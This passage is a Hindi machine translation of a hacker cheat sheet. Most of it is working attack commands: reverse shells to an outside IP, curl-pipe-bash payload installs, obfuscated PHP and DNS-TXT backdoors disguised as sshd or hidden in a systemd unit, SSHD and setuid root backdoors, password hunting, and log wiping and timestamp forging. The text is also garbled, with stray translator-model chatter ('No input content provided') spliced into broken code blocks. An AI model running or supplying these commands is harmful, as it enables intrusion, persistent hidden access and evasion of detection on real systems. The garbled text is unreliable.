({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
5.i.f. /dev/tcp के बिना रिवर्स शेल
एम्बेडेड सिस्टम में हमेशा Bash नहीं होता और /dev/tcp/ ट्रिक काम नहीं करेगी। कई अन्य तरीके हैं (Python, PHP, Perl, ..)। हमारा पसंदीदा तरीका netcat अपलोड करके netcat या telnet का उपयोग करना है:
रिमोट सिस्टम पर:```sh nc -e /bin/sh -vn 3.13.3.7 1524
विकल्प यदि *'-e'* समर्थित नहीं है:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|: में छोटा किया जा सकता है। (IA_PD को धन्यवाद)।| : ट्रिक C-Shell/tcsh (FreeBSD), मूल Bourne shell (Solaris) या Korn shell (AIX) पर काम नहीं करेगी। इसके बजाय mkfifo का उपयोग करें।पुराने /bin/sh के लिए प्रकार:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Telnet वेरिएंट:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
Telnet वैरिएंट जब mkfifo समर्थित नहीं है (उफ़!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
Note: लॉगिन के बाद `rm /tmp/.fio` करना न भूलें।
<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe और ssh के साथ रिवर्स शेल (एन्क्रिप्टेड)**
कच्चे TCP (जैसे bash रिवर्स शेल) को [remote.moe](https://remote.moe) के माध्यम से टनल करना संभव है:
अपने वर्कस्टेशन पर:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
लक्ष्य पर (SSH और Bash की आवश्यकता है):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
लक्ष्य पर (वैकल्पिक; ssh, bash और mkfifo की आवश्यकता है):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
5.i.i. Python के साथ रिवर्स शेल```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. Perl के साथ रिवर्स शेल**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. PHP के साथ रिवर्स शेल```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. रिवर्स शेल को PTY शेल में अपग्रेड करें**
उपरोक्त रिवर्स शेल में से कोई भी सीमित है। उदाहरण के लिए *sudo bash* या *top* काम नहीं करेगा। इन्हें कार्यशील बनाने के लिए हमें शेल को वास्तविक PTY शेल में अपग्रेड करना होगा:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
" only. The user message ends after "INPUT:". No content. So I have nothing to translate. The rules say "Return ONLY the translated text. No preamble...". If there's no input, what to do? I could output an empty string. But the user might expect something. They ask: "Translate the following Kitploit tool content." but then didn't provide the content. Possibly a mistake. I should just respond with an empty translation (i.e., nothing) or perhaps an error? The prompt instructions: "If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source." So if there's no source, the translated text is empty. I'll return empty string. That would be consistent with "Return ONLY the translated text." So I'll output nothing, or an empty response. I'll just output nothing. But the model should output something. The best is to output an empty string. I'll respond with empty content.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. रिवर्स शेल को पूर्ण इंटरैक्टिव शेल में अपग्रेड करें**
...और अगर हम Ctrl-C आदि का उपयोग करना चाहते हैं, तो हमें पूरी तरह से जाकर रिवर्स शेल को एक वास्तविक पूर्ण रंगीन इंटरैक्टिव शेल में अपग्रेड करना होगा:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
[No input content provided.]```
stty raw -echo icrnl opost; fg
Please provide the Markdown content to translate.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. socat के साथ रिवर्स शेल (पूरी तरह से इंटरैक्टिव)
...या socat इंस्टॉल करें और बिना ज़्यादा उलझे इसे कर लें:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. बैकडोर
सरल 1-लाइनर रिवर्स शेल के लिए [Reverse Shell / Dumb Shell](#reverse-shell) देखें।
<a id="gsnc"></a>
**6.i. gs-netcat का उपयोग करके रिवर्स शेल**
अधिकतर हम gs-netcat के स्वचालित डिप्लॉयमेंट स्क्रिप्ट का उपयोग करते हैं: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)।```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
या```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
या अपना स्वयं का डिप्लॉयमेंट सर्वर चलाकर gsocket को डिप्लॉय करें:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. sshx.io के साथ रिवर्स शेल (एन्क्रिप्टेड)
अपने वेब ब्राउज़र से एक रिमोट शेल एक्सेस करें https://sshx.io.
sshx-backdoor को सीधे मेमोरी में पाइप करें:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
या साधारण तरीका:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
apt update के बाद भी बचा रहता हैauthorized_keys या PAM का उपयोग नहीं करता।अपनी कुंजी को authorized_keys में जोड़ना बहुत अधिक उपयोग किया जा चुका है 😩। इसके बजाय, root के रूप में, किसी भी लक्ष्य पर यह एक बार काटें और चिपकाएँ। यह SSHD के कॉन्फ़िग में एक पंक्ति जोड़ देगा और आपको हमेशा के लिए लॉग इन करने की अनुमति देगा:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
यह कैसे काम करता है:
- SSHD होस्ट कुंजी केवल एक सामान्य ed25519 कुंजी होती है।
- कोई भी ed25519 कुंजी किसी उपयोगकर्ता को प्रमाणित करने के लिए इस्तेमाल की जा सकती है।
- SSHD `~/.ssh/authorized_keys` की जाँच करता है (लेकिन यह ट्रिक बहुत अधिक उपयोग की जा चुकी है)।
- इसके बजाय, SSHD को `/etc/ssh/sshd_host_ed25519_key.pub` की भी जाँच करने के लिए कॉन्फ़िगर करें ताकि लॉगिन-ऑथेंटिकेशन-कुंजियाँ देखी जा सकें।
- SSHD अब वैध लॉगिन कुंजियों के लिए `~/.ssh/authorized_keys` _और_ `/etc/ssh/ssh_host_ed25519_key.pub` की जाँच करेगा।
- लक्ष्य में लॉग इन करने के लिए `/etc/ssh/sshd_host_ed25519_key` गुप्त कुंजी का उपयोग करें।
<a id="backdoor-network"></a>
**6.vi. पूरे नेटवर्क तक दूरस्थ पहुँच**
[gs-netcat](https://github.com/hackerschoice/gsocket) इंस्टॉल करें। यह होस्ट के निजी LAN पर एक SOCKS exit-node बनाता है जो Global Socket Relay Network के माध्यम से सुलभ होता है, बिना अपना खुद का relay-server चलाने की आवश्यकता के (उदाहरण के लिए, अपने वर्कस्टेशन से दूरस्थ निजी LAN तक सीधे पहुँचें):```sh
gs-netcat -l -S # compromised Host
अब अपने वर्कस्टेशन से आप Host के निजी LAN पर किसी भी होस्ट से कनेक्ट कर सकते हैं:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
पढ़ें [Socks प्रॉक्सी के माध्यम से किसी भी टूल का उपयोग करें](#scan-proxy)।
अन्य तरीके:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - हमारा अपना लेख
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net से किसी भी (आंतरिक) नेटवर्क तक।
<a id="php-backdoor"></a>
**6.v. सबसे छोटा PHP बैकडोर**
किसी भी PHP फ़ाइल की शुरुआत में यह पंक्ति जोड़ें:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
यह base64 एन्कोडिंग है:```php if(isset($_POST[0])){system($_POST[0]);die;}
बैकडोर का परीक्षण करें:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
कभी-कभी system() प्रतिबंधित होती है। बैकअप के रूप में रिमोट PHP-कोड निष्पादन की अनुमति देने के लिए eval() जोड़ें। कुछ अस्पष्टता के लिए अन्य base64-टिप्पणियों के भीतर छिपाएँ:```php
इनमें से किसी के साथ ट्रिगर करके कमांड या PHP कोड निष्पादित करें:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
6.vi. सबसे छोटा रिवर्स DNS-टनल बैकडोर
रिवर्स DNS ट्रिगर का उपयोग करके ऐसे सर्वर पर मनमाने कमांड निष्पादित करें जो सार्वजनिक इंटरनेट से नहीं सुलभ है।
इस पंक्ति को (इम्प्लांट) किसी भी PHP फ़ाइल की शुरुआत में जोड़ें:```php
यह इम्प्लांट `b00m.team-teso.net` डोमेन से DNS TXT-अनुरोध के माध्यम से पेलोड का अनुरोध करता है। ट्रिगर होने पर, यह `/tmp/.b00m` बनाता है और THC को सूचित करता है (app.interactsh.com कॉलबैक के माध्यम से)। *कृपया* अपना स्वयं का डोमेन उपयोग करें और अपना स्वयं का पेलोड भी बनाएं। उदाहरण:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader है। DNS के माध्यम से बड़े पेलोड को डाउनलोड और निष्पादित करने के लिए while लूप का उपयोग करें।इस इम्प्लांट को लक्ष्य के ~/.bashrc या crontab (demo-paypload) में जोड़ें:```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
या डेमो-पेलोड को एक विस्तृत पेलोड के लिए बदलें:
- कमांड निष्पादन के लिए हर घंटे पोल करने हेतु एक पृष्ठभूमि डेमॉन प्रारंभ करता है।
- केवल bash, dig और base64 पर निर्भर करता है।
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups` के रूप में छिपता है।
- उदाहरण फिर से `b00m2.team-teso.net` का उपयोग करता है और हर घंटे /tmp/.b00m बनाता है।
1-लाइन इम्प्लांट उत्पन्न करने के लिए निम्नलिखित को लक्ष्य के शेल में कट & पेस्ट करें:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
स्क्रिप्ट के 1-लाइन परिणाम को लक्ष्य पर किसी भी स्टार्टअप स्क्रिप्ट में जोड़ें (crontab, ~/.bashrc, udev या ExecStartPre= का उपयोग करें)। यहाँ /usr/lib/systemd/system/ssh.service के लिए एक चतुर उदाहरण है (कुछ अतिरिक्त अस्पष्टता के साथ):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...PERL में:
---
वही लेकिन केवल perl + bash की आवश्यकता है (dig नहीं):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(perl संस्करण के लिए LouCipher को धन्यवाद)
निम्नलिखित को अपने शेल में काटें और पेस्ट करें:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
अपना पेलोड जनरेट करें (`egg.py` लक्ष्य पर निष्पादित किया जाएगा):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
अपना इम्प्लांट जनरेट करें (और निर्देशों का पालन करें):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. स्थानीय रूट बैकडोर**
#### 1. setcap के साथ डायनामिक लोडर को बैकडोर करना```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
कोई इनपुट सामग्री प्रदान नहीं की गई है। कृपया अनुवाद के लिए वास्तविक चंक भेजें।```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. अच्छा पुराना b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
I received no translatable content to work with. The input chunk is empty.```shell exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. स्व-निष्कर्षण इम्प्लांट**
[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) का उपयोग करके एक स्व-निष्कर्षण शेल-स्क्रिप्ट बनाएं (उदाहरणों के लिए स्रोत देखें)।
सरल उदाहरण:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
वास्तविक दुनिया के उदाहरण सबसे अच्छे हैं:
2. `egg.sh` का नाम बदलकर `update-for-fools.txt` करें और [Signal के](https://www.signal.org/) GitHub रिपॉज़िटरी में blob के रूप में अपलोड करें।
3. इस कमांड का उपयोग करके Signal को अपडेट करने के लिए लोगों को मूर्ख न बनाएं ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
किसी होस्ट के बारे में आवश्यक जानकारी प्राप्त करें:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
या```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
यदि कोई netstat/ss/lsof नहीं है तो netstat:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
सिस्टम की गति जाँच करें```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
सभी suid/sgid बाइनरी खोजें:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
सभी लिखने योग्य डायरेक्टरीज़ खोजें:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
स्थानीय पासवर्ड खोजें (noseyparker या trufflehog का उपयोग करके):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- [PassDetective](https://github.com/aydinnyunus/PassDetective) का उपयोग ~/.*history में पासवर्ड खोजने के लिए करें
- [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) का उपयोग चल रही प्रक्रिया से Chrome पासवर्ड निकालने और डिक्रिप्ट करने के लिए करें (केवल विंडोज़)
- ब्राउज़रों से पासवर्ड निकालने के लिए [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) का उपयोग करें
`grep` का उपयोग करना:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
फ़ाइलों में सबडोमेन या ईमेल खोजें:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. शेल हैक्स
<a id="shred"></a>
**8.i. Shred और एक फ़ाइल मिटाएँ**```sh
shred -z foobar.txt
:```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
नोट: या अपनी फ़ाइलों को */dev/shm* डायरेक्टरी में रखें ताकि हार्डड्राइव पर कोई डेटा न लिखा जाए। रीबूट पर डेटा हटा दिया जाएगा।
नोट: या फ़ाइल को हटाएँ और फिर पूरी हार्डड्राइव को /dev/urandom से भर दें और फिर डंप फ़ाइल को rm -rf करें।
<a id="restore-timestamp"></a>
**8.ii. किसी फ़ाइल की तारीख़ पुनर्स्थापित करें**
मान लीजिए आपने */etc/passwd* संशोधित किया है, लेकिन फ़ाइल की तारीख़ अब दिखाती है कि */etc/passwd* संशोधित हो चुका है। फ़ाइल की तारीख़ को किसी अन्य फ़ाइल की तारीख़ में बदलने के लिए *touch* का उपयोग करें (इस उदाहरण में, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
Use hackshell और ctime /etc/passwd का उपयोग करके ctime और birth-time को भी समायोजित करें।
यह syslogd आदि को पुनः आरंभ किए बिना लॉगफ़ाइल को 0 पर रीसेट कर देगा:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
यह लॉग फ़ाइल से IP `1.2.3.4` वाली किसी भी पंक्ति को हटा देगा:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
उदाहरण:```sh
<a id="shell-hide-files"></a>
**8.iv. उस उपयोगकर्ता से रूट विशेषाधिकार के बिना फ़ाइलें छिपाएँ**
हमारी पसंदीदा कार्यशील निर्देशिका */dev/shm/* है। यह स्थान अस्थिर मेमोरी है और रीबूट पर खो जाएगा। कोई लॉग नहीं == कोई अपराध नहीं।
स्थायी फ़ाइलें छिपाना:
विधि 1:```sh
alias ls='ls -I system-dev'
यह system-dev निर्देशिका को ls कमांड से छिपा देगा। इसे उपयोगकर्ता के ~/.profile या सिस्टम-व्यापी /etc/profile में रखें।
विधि 2: 80 के दशक की तरकीबें। किसी भी ऐसी निर्देशिका पर विचार करें जिसे व्यवस्थापक शायद ही देखता है (जैसे /boot/.X11/.. या ऐसा ही):```sh mkdir '...' cd '...'
विधि 3:
Unix लगभग किसी भी ASCII वर्ण को फ़ाइलनाम में अनुमति देता है, लेकिन 0x00 को नहीं। टैब (*\t*) आज़माएँ। ऐसा होता है कि अधिकांश एडमिन किसी भी ऐसी निर्देशिका में cd करना नहीं जानते।```sh
mkdir $'\t'
cd $'\t'
8.v. किसी फ़ाइल को अपरिवर्तनीय बनाएं
यह /var/www/cgi/blah.cgi को /boot/backdoor.cgi पर रीडायरेक्ट करेगा। फ़ाइल blah.cgi को संशोधित या हटाया नहीं जा सकता (जब तक अनमाउंट न किया जाए)।```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. sudo/su के बिना उपयोगकर्ता बदलें**